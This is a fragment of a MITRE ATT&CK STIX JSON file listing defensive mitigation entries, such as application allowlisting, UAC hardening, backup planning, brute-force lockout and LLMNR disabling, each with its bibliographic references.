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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
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                    "source_name": "TechNet Applocker vs SRP",
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                    "source_name": "PaloAlto Preventing Opportunistic Attacks Apr 2016",
                    "description": "Kiwi. (2016, April 6). Breakout Recap: Cybersecurity Best Practices Part 1 - Preventing Opportunistic Attacks. Retrieved October 3, 2018.",
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                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
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            "name": "Windows Management Instrumentation Event Subscription Mitigation",
            "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
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                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Seclists Kanthak 7zip Installer",
                    "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
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            "name": "File System Permissions Weakness Mitigation",
            "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code>to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.",
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            "name": "Exploitation of Remote Services Mitigation",
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                    "url": "https://attack.mitre.org/mitigations/T1482",
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                    "source_name": "Harmj0y Domain Trusts",
                    "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.",
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            "description": "Map the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)",
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            "description": "Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.\n\nGrant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nEnsure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.\n\nWhere the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Binary Padding Mitigation",
            "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.",
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            "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing  (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.",
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                    "source_name": "SpectorOPs SettingContent-ms Jun 2018",
                    "description": "Nelson, M. (2018, June 11). The Tale of SettingContent-ms Files. Retrieved April 18, 2019.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Wikipedia HPKP",
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                    "source_name": "SpectorOps Code Signing Dec 2017",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
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            "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)",
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            "name": "Limit Software Installation",
            "description": "Prevent users or groups from installing unauthorized or unapproved software to reduce the risk of introducing malicious or vulnerable applications. This can be achieved through allowlists, software restriction policies, endpoint management tools, and least privilege access principles. This mitigation can be implemented through the following measures:\n\nApplication Whitelisting\n\n- Implement Microsoft AppLocker or Windows Defender Application Control (WDAC) to create and enforce allowlists for approved software.\n- Whitelist applications based on file hash, path, or digital signatures.\n\nRestrict User Permissions\n\n- Remove local administrator rights for all non-IT users.\n- Use Role-Based Access Control (RBAC) to restrict installation permissions to privileged accounts only.\n\nSoftware Restriction Policies (SRP)\n\n- Use GPO to configure SRP to deny execution of binaries from directories such as `%AppData%`, `%Temp%`, and external drives.\n- Restrict specific file types (`.exe`, `.bat`, `.msi`, `.js`, `.vbs`) to trusted directories only.\n\nEndpoint Management Solutions\n\n- Deploy tools like Microsoft Intune, SCCM, or Jamf for centralized software management.\n- Maintain a list of approved software, versions, and updates across the enterprise.\n\nMonitor Software Installation Events\n\n- Enable logging of software installation events and monitor Windows Event ID 4688 and Event ID 11707 for software installs.\n- Use SIEM or EDR tools to alert on attempts to install unapproved software.\n\nImplement Software Inventory Management\n\n- Use tools like OSQuery or Wazuh to scan for unauthorized software on endpoints and servers.\n- Conduct regular audits to detect and remove unapproved software.\n\n*Tools for Implementation*\n\nApplication Whitelisting:\n\n- Microsoft AppLocker\n- Windows Defender Application Control (WDAC)\n\nEndpoint Management:\n\n- Microsoft Intune\n- SCCM (System Center Configuration Manager)\n- Jamf Pro (macOS)\n- Puppet or Ansible for automation\n\nSoftware Restriction Policies:\n\n- Group Policy Object (GPO)\n- Microsoft Software Restriction Policies (SRP)\n\nMonitoring and Logging:\n\n- Splunk\n- OSQuery\n- Wazuh (open-source SIEM and XDR)\n- EDRs\n\nInventory Management and Auditing:\n\n- OSQuery\n- Wazuh",
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                    "url": "https://attack.mitre.org/mitigations/M1033",
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            "name": "Sudo Mitigation",
            "description": "The sudoers file should be strictly edited such that passwords are always required and that users can\u2019t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "name": "Multilayer Encryption Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
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            "name": "Transmitted Data Manipulation Mitigation",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Automated Exfiltration Mitigation",
            "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Beechey 2010",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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            "description": "User Account Control (UAC) is a security feature in Microsoft Windows that prevents unauthorized changes to the operating system. UAC prompts users to confirm or provide administrator credentials when an action requires elevated privileges. Proper configuration of UAC reduces the risk of privilege escalation attacks. This mitigation can be implemented through the following measures:\n\nEnable UAC Globally:\n\n- Ensure UAC is enabled through Group Policy by setting `User Account Control: Run all administrators in Admin Approval Mode` to `Enabled`.\n\nRequire Credential Prompt:\n\n- Use Group Policy to configure UAC to prompt for administrative credentials instead of just confirmation (`User Account Control: Behavior of the elevation prompt`).\n\nRestrict Built-in Administrator Account:\n\nSet `Admin Approval Mode` for the built-in Administrator account to `Enabled` in Group Policy.\n\nSecure the UAC Prompt:\n\n- Configure UAC prompts to display on the secure desktop (`User Account Control: Switch to the secure desktop when prompting for elevation`).\n\nPrevent UAC Bypass:\n\n- Block untrusted applications from triggering UAC prompts by configuring `User Account Control: Only elevate executables that are signed and validated`.\n- Use EDR tools to detect and block known UAC bypass techniques.\n\nMonitor UAC-Related Events:\n\n- Use Windows Event Viewer to monitor for event ID 4688 (process creation) and look for suspicious processes attempting to invoke UAC elevation.\n\n*Tools for Implementation*\n\nBuilt-in Windows Tools:\n\n- Group Policy Editor: Configure UAC settings centrally for enterprise environments.\n- Registry Editor: Modify UAC-related settings directly, such as `EnableLUA` and `ConsentPromptBehaviorAdmin`.\n\nEndpoint Security Solutions:\n\n- Microsoft Defender for Endpoint: Detects and blocks UAC bypass techniques.\n- Sysmon: Logs process creations and monitors UAC elevation attempts for suspicious activity.\n\nThird-Party Security Tools:\n\n- Process Monitor (Sysinternals): Tracks real-time processes interacting with UAC.\n- EventSentry: Monitors Windows Event Logs for UAC-related alerts.",
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                    "source_name": "ADSecurity AD Kerberos Attacks",
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                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
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            "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Cybereason Dissecting DGAs",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
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                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "description": "This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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            "name": "Clear Command History Mitigation",
            "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved   (Citation: Securing bash history).",
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                    "source_name": "NSA Spotting",
                    "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.",
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            "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)",
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            "description": "Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.",
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                    "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.",
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            "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)",
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                    "external_id": "T1486"
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                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Data Encrypted for Impact Mitigation",
            "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)\n\nIn some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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            "name": "Data Staged Mitigation",
            "description": "Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.",
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                    "url": "https://attack.mitre.org/mitigations/T1051",
                    "external_id": "T1051"
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                    "source_name": "acunetix Server Secuirty",
                    "description": "Acunetix. (n.d.). Web Server Security and Database Server Security. Retrieved July 26, 2018.",
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                    "source_name": "NIST Server Security July 2008",
                    "description": "Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.",
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            "name": "Shared Webroot Mitigation",
            "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)",
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                    "source_name": "SourceForge rkhunter",
                    "description": "Rootkit Hunter Project. (2018, February 20). The Rootkit Hunter project. Retrieved April 9, 2018.",
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                    "source_name": "Chkrootkit Main",
                    "description": "Murilo, N., Steding-Jessen, K. (2017, August 23). Chkrootkit. Retrieved April 9, 2018.",
                    "url": "http://www.chkrootkit.org/"
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                    "source_name": "Kernel.org Restrict Kernel Module",
                    "description": "Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin  register. Retrieved April 9, 2018.",
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            "name": "Kernel Modules and Extensions Mitigation",
            "description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)",
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            "description": "Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1102",
                    "external_id": "T1102"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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            "description": "Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Microsoft Password Complexity",
                    "description": "Hall, J., Lich, B. (2017, September 9). Password must meet complexity requirements. Retrieved April 5, 2018.",
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            "description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)",
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                    "external_id": "T1110"
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                {
                    "source_name": "NIST 800-63-3",
                    "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.",
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            "name": "Brute Force Mitigation",
            "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. \nToo strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)\n\nRefer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)\n\nWhere possible, also enable multi factor authentication on external facing services.",
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                    "url": "https://attack.mitre.org/mitigations/T1066",
                    "external_id": "T1066"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Indicator Removal from Tools Mitigation",
            "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "name": ".bash_profile and .bashrc Mitigation",
            "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.",
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            "name": "Signed Script Proxy Execution Mitigation",
            "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "name": "Multi-Stage Channels Mitigation",
            "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)",
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            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Berkley Secure",
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                    "url": "https://security.berkeley.edu/node/94"
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                    "source_name": "ADSecurity Windows Secure Baseline",
                    "description": "Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.",
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                    "source_name": "byt3bl33d3r NTLM Relaying",
                    "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.",
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                    "source_name": "Secure Ideas SMB Relay",
                    "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.",
                    "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html"
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                    "source_name": "Microsoft SMB Packet Signing",
                    "description": "Microsoft. (2008, September 10). Using SMB Packet Signing. Retrieved February 7, 2019.",
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            "name": "LLMNR/NBT-NS Poisoning Mitigation",
            "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)",
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            "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.\n\nIf a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nIf a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.",
